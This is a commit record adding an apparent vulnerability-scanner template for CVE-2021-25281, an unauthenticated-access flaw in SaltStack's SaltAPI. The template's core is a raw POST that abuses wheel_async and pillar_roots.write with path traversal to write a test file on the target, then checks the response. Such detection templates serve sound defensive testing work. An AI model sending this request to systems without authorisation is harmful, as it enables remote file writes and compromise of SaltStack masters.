Merge pull request #961 from Mad-robot/master

CVE-2021-25281 wheel_async unauth access
patch-1
PD-Team 2021-03-13 21:19:16 +05:30 committed by GitHub
commit 110617aa03
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: CVE-2021-25281
info:
name: CVE-2021-25281 - SaltStack wheel_async unauth access
author: madrobot
severity: critical
reference: http://hackdig.com/02/hack-283902.htm
description: The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.
tags: cve,cve2021,saltapi,rce,saltstack
requests:
- raw:
- |
POST /run HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/json
Content-Length: 173
Connection: close
{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
matchers-condition: and
matchers:
- type: word
words:
- "return"
- "tag"
- "jid"
- "salt"
- "wheel"
part: body
condition: and
- type: status
status:
- 200